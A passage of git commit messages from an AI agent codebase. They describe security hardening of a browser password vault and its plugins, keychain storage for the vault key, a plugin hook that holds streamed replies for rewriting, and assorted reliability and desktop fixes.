  ("no reply"), and the timed-out mint is memoised with a cooldown, so
  the next test in the same process (rename) is refused with
  CONNECTOR_REQUEST_FAILED instead of ALIAS_TAKEN; the exact CI trio.
- Portal unreachable: 5 of 13 tests fail, including the failed-reissue
  cases that only passed because an earlier test's live mint left an
  identity behind in the shared home.

Patch both ensure_guest_identity seams production reads (the
tools.connectors facade and tools.connectors.managed), as
test_connector_account_surface.py already does.

Repro (scratch pytest plugin wrapping anon_auth._reconcile_and_provision):
  slow (5.2s then ConnectTimeout): base 5 failed, fixed 13 passed, 0 mint calls
  down (ConnectError):             base 5 failed, fixed 13 passed, 0 mint calls
  no network (unshare -rn):        base 5 failed, fixed 13 passed
chore(deps): bump npm dependencies to latest minor/patch releases
A test HERMES_HOME has no Nous identity, so every test that drives a
hosted connector action (connect, rename, status, the tool's first call)
ran ensure_guest_identity() against the production Portal: a real
/api/anonymous/create per test, up to GUEST_MINT_TIMEOUT_SECONDS of
wall clock, red whenever the Portal was slow, and a new production guest
on every CI run. Billing, plan limits, dashboard OAuth and the other
Nous clients had the same exposure.

One autouse fence in tests/conftest.py refuses the name lookup for
nousresearch.com (and the staging domain) hosts. Every Python client
(httpx, urllib, aiohttp, asyncio) resolves through socket.getaddrinfo,
so the class closes in one place, and the failure is the offline path
production already handles. Tests that exercise these clients stub the
transport (tests/hermes_cli/anon_portal.py) and never reach the lookup;
@pytest.mark.live canaries keep real access.
browser_vault enter_code minted a saved login's TOTP code and wrote it into
whatever page the session was on; the password, card and address fills
already refused a page outside the item's saved origins.

Every fill of a stored secret now passes one guard, _bound_page_origin,
before the backend resolves any value: the page origin must exactly match
one of the item's saved origins, else origin_mismatch and nothing is
resolved, prompted or written. The in-page write re-asserts that saved
origin. The payment confirmation is asked only after the origin check.
enter_code without a handle still asks the user, as before.

Tests: one per fill path (OTP, password, card, address, save-then-fill)
asserting refusal before resolution on a foreign origin, plus the saved-
origin OTP success pinned to the item origin.
Under plugins.isolation: host every value crosses as JSON, so a dataclass
arrived as a generic Record, a Path as str, an enum as its value and a
plugin object as an Opaque placeholder. Core consumers that type-check
broke:

- secret sources: SecretSource.fetch() came back as Record, the
  orchestrator rejected it ("fetch returned Record instead of
  FetchResult") and applied no secrets; fetch() also received home_path
  as str, so `home_path / "x"` raised in the plugin.
- context references: ContextCompletionItem (a __slots__ class) became
  Opaque, so @prefix: autocomplete silently returned nothing.
- context engines: clone_for_agent() returned Opaque, so no agent could
  get its own copy of a hosted engine.

The provider ABC's annotations are the contract, so the wire now
restores against them: the parent rebuilds results from the declared
return type (dataclasses, enums, Paths, typed containers; a declared
provider ABC becomes an object proxy) and the host rebuilds method
arguments from the declared parameter types. Type names never come from
the host. ContextCompletionItem becomes a slots dataclass so it crosses
as data.
restore_arguments returned BoundArguments.args, which moves keyword
arguments into positional slots. Core calls compress(messages,
**options), so an engine override taking **kw received four positional
arguments and raised TypeError. Restore each value where the caller put
it, and drive compression through the core caller in the test.
Huskycat-Receipt: v1;spec=42868e9ef8d7276ff7a143d63766f58e099ba891987567a17028fedc061cc95b;tiers=t0,t1;blobs=bc5861c5f4dd0ded777b118a2538a448bd1ce85a464e14650f08b9e4caad8dc6;pending=l8f617729aa7e7b60
A password-manager plugin registered with ctx.register_login_backend shares
browser_vault with the Hermes vault, 1Password and Bitwarden. On the branch
head the core consulted the plugin's own owns() (a greedy plugin received
op:/bw:/other plugins' handles), listed whatever ids the plugin returned
(spoofed vault_/op: handles), let a second plugin take over a registered
name, let a needs_unlock plugin drive the Hermes master-password prompt under
any label, read name/prefix through properties that can change after
validation, and copied plugin exception text into the model-facing list result.

Every plugin backend now reaches the vault tool only through a core-owned
PluginLoginBackend (agent/vault_backends/plugin.py):
- namespace is "<registry key>:"; ownership is decided by the core, items and
  metas outside it are dropped, resolve_* refuse foreign handles;
- the plugin gets the handle and nothing else; needs_unlock is always False;
- plugin exceptions and wrong-typed values become a fixed-text
  PluginBackendError raised outside the except (no chained context).
Registration refuses descriptor name/prefix, prefix != "<name>:", built-in
names and prefixes (derived from the built-in classes), held names, and
needs_unlock. The fill wrapper turns only PluginBackendError into a typed
refusal, so built-in fills behave as before.
Rewrite the plugin-author page around what a password-manager plugin can and
cannot touch (own namespace, handle-only calls, no master-password prompt,
reserved names, off by default, in-process only, same origin-checked fill,
secret-free errors) and add it to the Plugins sidebar.
VaultItemMeta does not type-check its fields, and browser_vault_list reads
them (len(meta.allowed_origins)) outside its per-backend guard, so one plugin
item with allowed_origins=None failed the whole listing, local vault included.
A fill_context() returning a non-context-manager raised AttributeError past
the PluginBackendError boundary (the attribute lookup ran before _call).

Plugin metas are now type-checked inside the plugin boundary (a malformed
list or meta is the plugin's fixed-text error), and fill_context's factory and
__enter__ lookups run inside _call. Review: Greptile on #143964.
Password-manager integrations must come from verified sources. ctx.register_login_backend
now refuses every plugin that is not bundled with Hermes or installed from the plugin
catalog at tier verified or official and at the catalog's reviewed pin.

Provenance is read from the installer-owned .install-metadata.json catalog block of the
manager's own home (tier, pin, allow_removed), never from the plugin tree, so a repo that
commits a forged .hermes-catalog.json gains nothing. Local directories, Git URL installs,
community-tier entries, --ref (off-pin) and --allow-removed installs, project plugins and
pip entry points are refused with a warning that names the rule. No config key relaxes it.

The registrar table gains an `admit` option (module:function over the manifest, judged under
the manager's home before the registry is touched); the factory moves from plugins.py into
plugins_registrars.py to carry it.
Admission rule 18 (README and the mirrored developer-guide copy): a plugin that registers a
browser_vault login backend is listed only at tier verified, from the password-manager
vendor's own repository, or at tier official when Nous maintains it, and states that Hermes
enforces the same rule at load. browser-vault-plugin.md gains "Who can register a backend".
browser_vault enter_code called resolve_otp outside the backend's fill_context. A plugin that opens
its manager session (or lock/snapshot) in that context filled the password, then failed to mint its
stored code, and Hermes silently fell back to asking the user.

Mint and write the code inside fill_context, as a password fill does; a backend without a code
(or failing to give one) still falls back to the user's prompt.
PluginLoginBackend guarded the plugin method call but validated and later read the returned
VaultItemMeta outside it. A subclass or lazy accessor could raise there, and browser_vault list
copied that exception text into the model-facing result.

Validate and copy every returned field (metadata, passwords, codes, secret dicts) into
core-owned plain objects inside the same fixed-message guard.
The shared registrar read provider.name before the login-backend registry's static check, so a
name property (or a __getattribute__ hook) ran plugin code there and its exception text reached
the loader log.

The login-backend row now runs agent.vault_backend_registry.static_name first: it inspects the
class and instance dicts only, refuses attribute-access overrides and non-plain names, and logs a
fixed refusal reason.
After rebasing onto the shared origin guard (_bound_page_origin), browser_vault fill still entered the
backend's fill_context before the guard ran: a page on the wrong origin opened a plugin's manager
session or lock just to be refused. enter_code checked first, but then resolved the code from inside
the context without looking at the item again.

Both paths now run in this order, for built-in and plugin items alike: read the item's metadata, run
_bound_page_origin (plus the card confirmation for payments), and only then enter fill_context. Inside
the context a backend with its own fill_context has the item re-read, and the fill is refused unless
the frozen item still binds the checked origin. The origins checked and the secret resolved therefore
come from one snapshot, as the plugin guide promises. The built-in managers keep the default no-op
context and are not re-listed.

A plugin error while reading metadata for enter_code is now the same backend_unavailable refusal fill
gives. The write half of fill moves into _fill_bound_page, unchanged.

Tests: a plugin OTP on a foreign origin is refused with the backend never called (no context, no
resolve_otp, no prompt, nothing written; red on the pre-rebase head); an item re-bound inside the
context is refused for fill and enter_code before its secret is resolved (red for enter_code without
this change); the fill call order is now get_meta, fill_context, get_meta, resolve_password.
The local vault key sat in vault.key next to vault.json.enc, so any backup, synced
folder or copied ~/.hermes carried the ciphertext together with its key.

vault.key_storage: keychain (default stays `file`) puts a NEW vault's key in the OS
keychain via keyring (new lazy `keychain` extra, keyring==25.7.0), one entry per
profile, named by a non-secret vault.keyref. No reachable keychain (headless Linux,
extra not installed, plaintext/null keyring backends) falls back to the 0600 file.

`hermes vault key` shows where the key is; `hermes vault key migrate --to keychain|file`
writes the destination, proves it decrypts the vault, and only then removes the
source, so an interrupted move leaves a working vault and a rerun finishes it.

A vault whose key is missing (file or keychain entry) now raises a recovery message
and never mints a new key over existing ciphertext (before, a deleted vault.key was
silently replaced and the vault reported "key mismatch or corruption").

Opt-in rather than default: macOS can prompt for keychain access after Hermes'
Python changes, locked Linux keyrings prompt or are absent over SSH, cron while
logged out cannot read the key, and backups stop being self-contained.
1Password/Bitwarden session tokens lived in a module-level dict (`unlock._sessions`)
that any in-process code could import or dump, and an idle token stayed in memory
until the next vault call happened to look at it.

The token, its owner session and the lock generation now live in a closure with no
module attribute, and a daemon timer drops idle tokens at the TTL. The public API
(get_session_token/store_session_token/lock/release_session/...) is unchanged.
This stops casual and accidental access only; code in the process can still reach
its memory (the boundary is plugins.isolation: host).

Also pins the existing invariant that the token reaches only the op/bw call that
uses it: never os.environ, never the unlock call, never build_subprocess_env.
Documents vault.key_storage and hermes vault key, what keychain mode protects (backups/copies, offline disk) and what it cannot (same-user programs, in-process plugins, root), the unlock-token lifecycle, and recommends plugins.isolation: host (with a launcher sandbox) for users who save logins and run unreviewed plugins.
delete_key now reports success once the entry is gone, so a cleanup interrupted after the delete but before vault.keyref was removed completes on the next run instead of asking forever. _adopt writes the new pointer inside its fallback: if vault.keyref cannot be saved (disk full), the half-made entry is deleted and the shared entry keeps serving reads.
write_ref can replace vault.keyref and then raise (a temp-file cleanup failing on Windows). _adopt's fallback now re-reads the saved pointer and keeps the new entry when it names it, deleting the entry only when the pointer never changed.
A clone copied vault.keyref, which names the SOURCE's keychain entry, and only
switched to an entry of its own on first open. If the source ran
`hermes vault key migrate --to file` before the clone was ever opened, the
source deleted its (sole-owner) entry and the clone could no longer find a key.

create_profile(clone_all=True) now gives the staged vault its own entry, owned
by the final profile path, before the publish rename. When the keychain cannot
be reached at that moment the clone is refused with a ValueError naming the way
out, instead of being published sharing the source's entry. A source whose own
entry is already gone is copied as-is (no worse off than the source). Lazy
adoption on first open stays for renames and clones made before this.

_clone_staging_dir moves to profiles_initialization (the staging-tree sibling)
to offset profiles.py's growth under the file-size ratchet.
The token's owner lived only inside the expiring token. If an old token expired
while a replacement unlock was in flight, release_session could no longer find
which session owned that login, did not bump the generation, and the delayed
token committed after its session had ended (main rejected this sequence).

Owner bookkeeping now lives beside the generation counter and outlives the
token: the idle timer drops only the secret, while lock/release still find the
key and advance its generation. A sibling session ending still never revokes
another session's login.
The rest of the suite uses an in-memory keyring. These two tests run only on the
macOS and Windows OS lanes (platforms("macos", "windows")): store/read/delete a
uniquely named dummy entry through the real keyring backend, and a keychain-mode
vault create -> migrate to file -> migrate back round trip. They skip where the
host has no OS keychain and clean their entries up in teardown; Linux hosts never
run them, so a developer's Secret Service is never touched.

tests-os.yml installs the keychain extra so keyring is importable on those lanes.
A --clone-all copy now gets its own keychain entry while it is created (or is
refused when the keychain is unreachable). The offline-disk row no longer
promises a login password for every keychain: it is whatever protects that
store, and an unencrypted Linux keyring protects nothing.
Every keychain account is random, so an entry whose vault.keyref was never
saved is a key Hermes can neither find nor remove later (a retry mints another).
New entries made by key creation, migrate --to keychain and clone custody now go
through save_new_ref: if saving the pointer fails, the entry is deleted unless
the pointer did land. migrate --to keychain then reports that vault.key stays.

A --clone-all create that fails after the copy got its own entry (layout,
publish rename) deletes that entry while unwinding; it compares against the
source's pointer, so the source's entry is never touched. Clone custody also no
longer trusts a copied pointer that happens to name the clone's own path (a
renamed profile cloned back into its old name): a clone always gets a new entry.

Review: Greptile on b322737dfd.
On a fresh profile `hermes vault key migrate` only records vault.key_storage;
no key exists to move or decrypt. The CLI now says no key exists yet and where
the first saved item will create one.

Review: Greptile on b322737dfd.
discard_copied_key inferred ownership by rereading the source's vault.keyref:
a staged copy whose account differed from (or had no) source pointer was taken
as the clone's own entry. If the source vault moved while the clone was still
copying (before custody), the staged pointer still named the SOURCE's entry,
the source path had no pointer, and the rollback deleted the source's only key.

own_copied_key now returns the exact entry it created; create_profile keeps it
and, on failure, deletes that entry and nothing else. A pointer-save failure
inside custody deletes the new entry even when the pointer landed, since the
staged clone is discarded with the error.

Review: Greptile on f9f9c0408c.
A plugin that rewrites the reply (redaction, policy filters) can declare that it
must see the reply before the user does. The declaration rides the hook's
registration handle, so it lives exactly as long as the registration and is
scoped to the plugin manager of the profile that loaded it; stream_held()
answers for the active profile. Plain transform registrations keep streaming
(opt-in), and the flag on any other hook is ignored with a warning. The memory-provider hook proxy and the
`plugins validate` probe stub accept the keyword so a declaring plugin loads
through every registration seam.

Shape and seams salvaged from #102481 (mutates= on register_hook, the memory
proxy and validate-stub forwarding).

Co-authored-by: Halldrix <12357213+Halldrix@users.noreply.github.com>
When a plugin loaded in the session's profile registered transform_llm_output
with hold_stream=True, the reply is not streamed on any surface:

- agent: no text delta, post-tool-call text or interim commentary leaves the
  agent's display/TTS callbacks for the turn (resolved per turn), so messaging,
  local viewers (TUI, Desktop, classic CLI, ACP), the API server and managed
  workers all fall through to their existing "nothing streamed" path and
  deliver the rewritten final once.
- gateway: TurnRunner builds no stream consumer for a held turn, so no draft,
  edit, native stream frame (WeCom's empty seed + closing frame) or commentary
  bubble is sent; the final is one plain send (split like any long reply) while
  the typing indicator runs.

Commentary is model text the hook never sees, so a held turn drops it; tool
progress and reasoning keep their own display settings.
The tool-loop guardrail halt pushes its explanation straight to
stream_delta_callback, bypassing the hold gate, so with hold_stream a
/v1/chat/completions client saw the halt reply and then the rewrite.
A held turn now delivers it only as the final, after transform_llm_output.

Review: https://github.com/NousResearch/hermes-agent/pull/144266#discussion_r4369515507
reload-plugins empties the ownership ledger before plugins re-register;
a turn starting in that window read holds_stream()=False and streamed
raw text the holding plugin must rewrite. Read the ledger under the
discovery lock so the turn sees the settled registration set.

Review: https://github.com/NousResearch/hermes-agent/pull/144266#discussion_r4369515508
The codex app-server runtime returns before finalize_turn, so
transform_llm_output never ran there (pre-existing): a rewriting
plugin's change never reached the user or the stored assistant row,
and with hold_stream the user waited only to get the raw reply.
Apply the transform before the projected rows are persisted and return
response_transformed / pre_transform_response like the generic loop.

Review: https://github.com/NousResearch/hermes-agent/pull/144266#discussion_r4369515509
The codex app-server bookkeeping passed turn.final_text (pre-transform)
to _sync_external_memory_for_turn, so a memory provider stored the text
a transform_llm_output plugin removed. Pass the reply the user got, as
the generic loop's finalizer does.

Review: https://github.com/NousResearch/hermes-agent/pull/144266#discussion_r4369545047
Independent review of the hold_stream feature found four paths that still
let the untransformed reply or commentary reach the user:

- History loads showed held commentary. The tool-call assistant row of a
  held turn is now typed display_kind="hidden" before its first flush
  (withhold_held_commentary), so TUI/Desktop display_projection, the
  dashboard and classic CLI resume skip it. display_kind never reaches the
  wire: the model's context and cached prefix are unchanged (test replays
  the resumed session and compares the request bytes). The TUI projection
  still labels the hidden row's tool cards from its calls. Codex held turns
  type their earlier agentMessages hidden the same way.
- A plugin reload mid-turn could empty the hook registry before the final
  transform. The held turn now snapshots its transform_llm_output callbacks
  together with the hold decision under the discovery lock
  (held_stream_transforms) and runs that snapshot at the final. If no
  callback rewrote and one raised or timed out, the user gets a fixed
  "reply withheld" notice instead of the original (fail closed).
- Classic CLI replay-gap recovery painted and spoke pre_transform_response.
  A held turn's result (generic and codex) no longer carries the original
  at all (public_pre_transform), so receipts, recovery and post-stream
  suffix painting only ever see the rewrite.
- Codex error-after-text returned the raw agentMessage. The codex reply is
  now transformed whenever it has text, also when the turn errored (and,
  when held, when interrupted).

Same class, also fixed: the end-of-stream scrubber flush recorded a held
tail as streamed text (an interrupted turn could return it as an
untransformed partial final), and quiet-mode CLI printed held commentary
via _vprint.
A held turn (hold_stream=True transform_llm_output) only ran the transform
on the paths that reach finish_text_response / finalize_turn. Other exits
returned model text the plugin never saw:

- A reply that hit finish_reason="length" on every continuation: the
  ceiling exit (_continue_text -> _Trunc.end_turn) stitched the raw
  fragments into the final and the stored row and returned without
  finalize_turn. collapse_continuation_trail now runs the turn's held
  transform snapshot on the stitched text before it appends the row, so
  the user and the stored row get the rewrite (or the withheld notice if
  the transform fails). The same seam covers a provider error that ends
  the turn after a capped fragment (settle_delivered_partial prepends that
  fragment to the error copy).
- The iteration-budget summary appends its own assistant row; finalize
  transformed the returned text but the row kept the raw summary, so
  history showed it. A recovery tail row that still holds the untouched
  text now stores the rewrite before its first flush
  (_store_rewrite_on_tail, the #44239 contract).
- Every remaining exit (non-retryable / exhausted provider errors,
  interrupts, compression and overflow failures, invalid-response caps,
  preflight timeouts, ...) returns through run_conversation, which now
  calls settle_held_final: a held turn whose final_response no seam
  transformed runs the snapshot there, so no path hands the user text the
  plugin did not see first. The hold snapshot is taken before
  build_turn_context, so an early exit never reads the previous turn's
  hold.

Tests (tests/agent/test_hold_stream_exits.py, real AIAgent + SessionDB on
the loopback model, red on 3a5b54d980): four capped responses, a capped
fragment then a 400, the budget summary, and a 400 with a tagging plugin.

Review: https://github.com/NousResearch/hermes-agent/pull/144266#discussion_r4370678627
The hidden-row step covered only the tool-call row of run_tool_round.
Other assistant rows a held turn appends and flushes without showing them
were stored displayable, so reopening the session (TUI/Desktop
display_projection, dashboard, classic CLI resume) showed the original text
even when the final was rewritten:

- the attempted answer a late LSP verdict, verify-on-stop or pre_verify
  sends back (_append_interim_answer), and the kanban stop-guard answer;
- length-continuation fragments of a reply that then recovered (the final
  row holds the rewrite of the whole, so the raw pieces also duplicated it);
- the intent-ack / stall / degenerate-final continuation rows, codex
  status=incomplete partials, and commentary on a call to an unknown tool
  or with broken JSON arguments (turn_tool_validation).

Every one of them is built by AIAgent._build_assistant_message, so the
hiding now happens there: in a held turn a row with visible text comes
back typed display_kind="hidden" (withhold_held_row) before anything can
flush it, and finish_text_response publishes the one row the user gets
(publish_held_final_row: visible again and, after recovered fragments,
carrying the whole reply; api_content keeps the piece the model wrote, so
the wire is unchanged). display_kind never reaches the wire, so the
model's context and cached prefix stay byte-for-byte (the test replays the
resumed session and compares the request).

Same class, also fixed: text beside a housekeeping call reused as the
reply after an empty follow-up was flagged response_previewed/reused,
though a held turn never showed it; the classic CLI then printed nothing.

Tests (tests/agent/test_hold_stream_exits.py, red on 3a5b54d980): late
LSP verdict, recovered continuation, unknown-tool commentary, reused
commentary.

Review: https://github.com/NousResearch/hermes-agent/pull/144266#discussion_r4370678628
Two more ways a held turn (hold_stream=True transform_llm_output) left history
out of step with what the user got:

- When verify-on-stop or pre_verify sent the answer back on the last allowed
  call, _append_interim_answer had already flushed it as a hidden row. The
  finalizer reused it as the budget fallback and transformed it, but the row
  was settled: _store_rewrite_on_tail skipped it and _close_transcript_tail
  added nothing (the tail already held assistant text), so reopening the
  session lost the reply. A held turn's sent-back answer now flushes with the
  turn instead of at once (the user never saw it), and when the turn ends on
  it _store_rewrite_on_tail publishes that row: visible, content = the
  rewrite, api_content = the bytes the model wrote and already saw, so the
  wire and the cached prefix stay unchanged. One row, so role alternation
  holds.
- A codex_responses reply can carry commentary and the final answer in
  codex_message_items. Publishing the held final unhid the whole row, and
  project_history_commentary rebuilt display_commentary from those items on
  reload. publish_held_final_row now stamps display_metadata
  commentary_withheld on such a row; the projection then shows no
  commentary for it, while the items stay for model replay.

Also: the plugin-reload hold test waited 0.5 s for a negative check; it now
signals that the read started and waits 2 s (tests/AGENTS.md).

Tests (red on 72fd611fef): a pre_verify fallback ending a held turn (history
shows the rewrite, the resumed request replays the original bytes), and a
held codex_responses final with a commentary item (FakeResponsesServer
Message gains an optional phase).

Review: https://github.com/NousResearch/hermes-agent/pull/144266#discussion_r4370905634
Review: https://github.com/NousResearch/hermes-agent/pull/144266#discussion_r4370905635
Review: https://github.com/NousResearch/hermes-agent/pull/144266#discussion_r4370905636
When a stale stream's worker is parked somewhere the socket shutdown
cannot reach, the monitor re-killed the same attempt every stale window
forever: each attempt counts toward the stale streak once, the give-up
breaker only runs before a call, and the kills keep the activity
watchdogs fed, so only /stop ended the turn.

Track consecutive kills of the same dispatched attempt. After
HERMES_STREAM_STALE_ABANDON_KILLS (default 3) with the worker still
alive, leave the daemon worker behind, as the /stop path already does,
and end the call with a retryable TimeoutError. A late write from the
abandoned worker cannot replace that error. Inline mode (no worker
thread) is unchanged.
Addresses review on #144201:
- HERMES_STREAM_STALE_ABANDON_KILLS=1 now abandons on the first kill instead of
  waiting a second stale window (count compared directly with the limit; 0 or
  less disables abandoning).
- An abandon after deltas that delivered no visible text (whitespace or
  thinking only, no tool call in flight) is now treated as undelivered and
  retried, not turned into an empty partial stub. The existing #112419 check is
  moved into StreamingWaitMonitor._forget_invisible_deltas and shared by the
  stream-error path and run().
Review changes:

- Replace the HERMES_STREAM_STALE_ABANDON_KILLS env var with the module
  constant _STALE_ABANDON_KILLS = 3 (contribution rubric: no new HERMES_*
  env vars for non-secret behaviour) and drop the "0 or less" branch.
- Inline calls (cron turns, delegated children) have no worker to abandon.
  Past the limit the monitor now stops touching activity from the stale
  kill and the 30 s heartbeat, so the cron and delegate inactivity
  watchdogs can end the job. A real chunk, or a new attempt, lifts the
  hold. This follows the inline half of #141399 (@suhas-svg).
- run() reads the outcome once into locals instead of rebinding
  self.result, which the abandoned worker could still write through.
  _partial_stream_stub takes the error as an argument, so a stub after
  visible text is classified from the abandon error.
- The abandon path makes the same bounded Relay join as /stop (#81521)
  before the in-turn retry opens a new scope.
- Module docstring names the stale-kill follow-up and the shared
  invisible-delta check.

Tests: drop the late-write and turn-level tests (they pinned the rebind
and main's existing TimeoutError retry); add the inline-liveness, Relay
join and visible-text stub tests; note in the control test that it relies
on conftest zeroing jittered_backoff.
_emit_diagnostic_wait goes through _emit_wait_notice, which touches
activity itself, so kills past the limit still refreshed the cron and
delegate inactivity watchdogs even though the explicit touch was held.
Gate the notice with the touch. The inline test now asserts that no
activity is reported at all once the hold starts, instead of filtering
on the kill's own description.
The file lives under sandboxes/docker/default_ws_*-<hash>/workspace, and the download still serves the shared default sandbox or 404s after the cwd mount is gone.
Chat and artifact downloads name a session whose container is default:ws:<digest>, so the host copy is that sandbox rather than the shared default directory.
Desktop dials its backend through `hermes gateway ensure`, a detached
`gateway run` that outlives the app on purpose. The main suite's sandbox
cleanup only closed the app and removed the sandbox, so EVERY spec launch,
clean runs included, left its gateway running (~300 MB each), and the orphan
rewrote its sandbox HERMES_HOME right after the rmSync, so the run's pw-*
root reappeared. A SIGKILLed runner (agent/CI timeout) additionally left its
Electron main process.

Three layers, each covering a teardown the previous one cannot reach:
- per sandbox: the main suite's cleanup now stops the daemons its
  gateway.lock files record (the core lane's existing helper, moved to the
  shared e2e/run-tmp-reaper.ts; every platform);
- per run, at runner exit: every process whose environment names this run's
  root (a fixture that never returned, profile gateways off the lock homes);
- per host, at the next runner's start: every process left under a run root
  whose recorded runner (pid + kernel start time) is dead.
The run-level layers read /proc (Linux) and only signal a process carrying
both HERMES_E2E_RUN_TMP=<root> and a HERMES_HOME under that root; a root
whose runner is alive or unrecorded is never touched.
The test called the host-wide reaper, so running it also stopped the
backends and deleted the roots of any other abandoned Playwright run on the
machine, and `toContain` let those extra reaps pass. `reapAbandonedRuns`
takes an optional scope (runs whose root lies under it); the runner keeps
the host-wide default. The test plants an abandoned run outside its scope
and asserts the reap returns exactly its own dead root and leaves the
outside run's backend and root alone (red on 8627d097833: the outside root
was reaped).
A multiplexed gateway ticks cron once per served profile and every profile resolves the hermes
checkout, so the 6 h worktree maintenance (throttled per profile home) pruned the same repo once
per profile at the same second. Each pass ends in _warn_worktree_footprint, which ran
`du -sm <repo>/.worktrees` over every file of every tree (node_modules included) even when the
tree count alone (>= 10) already decided the warning. Observed: 4-11 concurrent full walks per
burst, on every boot and every 6 h.

- cron/scheduler.py: repo discovery stays throttled per profile home (own registry and jobs);
  the prune itself is claimed per resolved repo root, once per interval across every profile
  the process serves.
- worktrees_summary(size_below_count=...) skips the size probe when the count decides; the
  footprint warning drops the size text in that case instead of printing "unknown size".
- _tree_size_mb runs du through bounded_probe_run: subprocess.run's post-kill wait() never
  returns for a du stuck in uninterruptible disk I/O, hanging the caller (a `hermes -w`
  launch or the cron prune thread).
scheduler.py is over the 2,000-line ratchet, so the claim added for the
once-per-repo prune moves to cron/scheduler_worktree_maintenance.py and the
facade only calls it. scheduler.py ends one line shorter than main.
A gateway unit whose stop outlives the updater's systemctl timeout (a cgroup
child stuck in D state makes systemd wait TimeoutStopSec for SIGTERM and again
for the final SIGKILL: ~181 s on a 90 s unit) broke both ends of `hermes update`:

- pause: `_disarm` -> `_stop_unit` timed out at 120 s although the drained
  gateway was already gone; the pause rolled back with `systemctl start`, which
  queued behind the still-running stop job and booted the gateway on the old
  tree seconds before the git swap.
- restart: the post-drain `systemctl start` timed out the same way and the unit
  was recorded failed ("Update incomplete"), while systemd finished the job and
  brought the gateway up on the new code.

The client timeout cancels nothing in systemd. `run_unit_job` (one helper in
update_cmd_fleet_unit_budget, used by the pause stop/start, the post-drain
start and the blunt/catch-up restart) now waits for the unit's own job past a
timeout, bounded by 2 x TimeoutStopUSec (+ TimeoutStartUSec for a start) + slack
from the call, under an independent 900 s cap, and reports the settled state.
The pause fails only when the gateway is provably still running; a stop job
systemd is still finishing holds it. Calls that return in time are unchanged.
- A unit the restart phase recorded failed (a timed-out systemctl call whose job
  systemd then finished) kept "Update incomplete — some units were not
  restarted" and the gateway_restart follow-up even when the fleet probe showed
  that unit's gateway serving the checkout. Verification now credits a
  hermes-gateway* unit only on its OWN proof: its MainPID is a `current` fleet
  row and was not running when the restart phase began (every scope where the
  unit is loaded must agree). Another profile's current gateway never vouches
  for it. The incomplete-units warning moves after the fleet probe and names
  only the units still unproven; the receipt, marker and host restart stamp
  follow the reconciled verdict.
- "↷ PID N: gateway process of another Hermes home — left alone" printed once by
  the pre-swap pause and again by the restart phase (a fresh completion
  process). Each notice is now recorded on the run's receipt, which the
  completion request carries, and printed once per run.
When verification proved the last failed gateway unit current, the settle
helper saved the restart result right away with incomplete=false. A later
check (a dashboard that did not come back) then made the run incomplete and
recorded a gateway_restart follow-up, but the saved restart result was never
rewritten, so one receipt said both "complete" and "restart owed".

The helper now only credits units; verification saves the restart result once,
after every check, when it credited one.
The Windows resume merge appends its failed services to failed_or_stale_units
after the restart phase, and an aborted phase leaves entries there too; neither
should print the systemctl/launchctl "units were not restarted" advice. Comment
only, no behaviour change.
- The connect watch lasts as long as a connect link (10 minutes), so a slow authorization settles connected instead of failed.
- The Connectors page re-reads the sign-in offer timing after a list read first shows a connected app, so the offer comes up without the window regaining focus.
- A guest without the trial gets the statusbar Sign in, and the Connectors guest line gets a Sign in button.
Saved or cached connected rows render before the read that arms the offer, so the first re-read came too early and the real one never fired.
ActiveSessionRefusal could not be copied, so publishing the completion of a
refused turn raised and the client waited forever.

Row LC-33.

Refs #143547

Co-authored-by: AJ Isaacs <ajisaacs27@gmail.com>
The speak and transcribe stream sockets refused the local Desktop's own
credential. They now redeem the interactive runtime ticket through the existing
native gate (no Origin, loopback peer, served profile) and run in the grant's
profile. Desktop sends the ticket as a subprotocol and its main process strips
Origin only for those two paths on a fresh /api/ws reservation.

Rows RT-71, RT-80.

Refs #143547

Co-authored-by: Dolverin <5910064+Dolverin@users.noreply.github.com>
Addresses Greptile review on #143597.

Refs #143547
The classic CLI re-sends show_reasoning after /new, /resume, /branch and a
gateway restart. A prompt behind an unknown admission now shows the lost-turn
banner instead of waiting silently, and /discard resolves it.

Rows CLI-50, GW-10.

Refs #143547
Addresses Greptile review on #143595.

Refs #143547
Addresses maintainer review on #143595.

Refs #143547
Addresses independent review findings on #143595.

Refs #143547
Review F1 (P2) on #143595: a prompt the classic CLI refuses before
prompt.submit (an unknown admission is pending) admitted nothing, but
was handled as an ordinary failed turn. The CLI history gained the
prompt (so after /discard and the resend it held it twice, and /undo
and /retry refused), and the /model --once pick and the one-shot
/model and /reload-skills notes were spent before the resend.

The refusal now returns the pre-turn history marked admitted: False,
and the CLI keeps the one-turn pick and puts the notes back on that
marker, as it already does for session_busy. The banner is unchanged.

Refs #143547
Adds Rename and Disband to the gateway group header, the @ picker in the
composer, paste and drag-and-drop attachments, and inline previews for small
images. The restored-send notice now shows only for a send restored from the
journal.

Rows HR-15, HR-16, HR-20, HR-23 (client half).

Refs #143547

Co-authored-by: HootRock <wtr1274970944@163.com>
Co-authored-by: Maziay <Maziyarkolagar@gmail.com>
Addresses Greptile review on #143607.

Refs #143547
Addresses maintainer review on #143607.

Refs #143547
groups.log logged a contract violation on every read with bot replies because
RoomActor forbade the member fields the gateway stamps. Serve retry rows now
carry member_id and execution_generation, so Retry works over SSH, URL and
Cloud connections.

Rows HR-11, HR-14.

Refs #143547
Addresses Greptile review on #143596.

Refs #143547
A reasoning change during a turn returned session_busy and Desktop rolled it
back. It now shares the deferred model-pick slot and commits at the next turn
boundary; Desktop shows the existing "applies from your next message" notice.

Row MP-24 (reasoning half).

Refs #143547
Addresses Greptile review on #143594.

Refs #143547
Addresses maintainer review on #143594.

Refs #143547
custom is the billing class every named endpoint reports, not a route. Launch
policy, stored rows, synced runtimes and /status now carry custom:<name>,
matched by base URL and model in the owning profile. Also fixes the model-switch
crash on a profile-following session and accepts --source desktop as gui.
A client asking for a gateway-only label (cron, kanban, bot_room) is refused as
"reserved for the gateway", and a Kanban worker's descendants no longer inherit
its kanban label, so `hermes chat -q` from a task shell starts normally.

Rows MP-19, MP-20, MP-23, MP-25, MP-28; CLI-43.

Refs #143547
Addresses Greptile review on #143593.

Refs #143547
Addresses maintainer review on #143593.

Refs #143547
Addresses independent review findings on #143593.

Refs #143547
Main's session_provider_identity (#143660, 0bc8789d/69d5e0e4/f3b5b980)
already makes the turn sync and the TUI runtime record the entry the
agent resolved while it serves the session's base_url (MP-23/MP-25).
Drop the duplicate writers: the run_turn_prepare heal block (including
its fallback guard, redundant since fallbacks overwrite
requested_provider) and the update_session_model heal, plus the
guess=False/routed_custom_identity_in machinery behind them and the
tests that pass on main.

Keep: a bare custom launch pick freezes its entry (MP-19), disabled
entries never name a route, /status and the model pickers name the
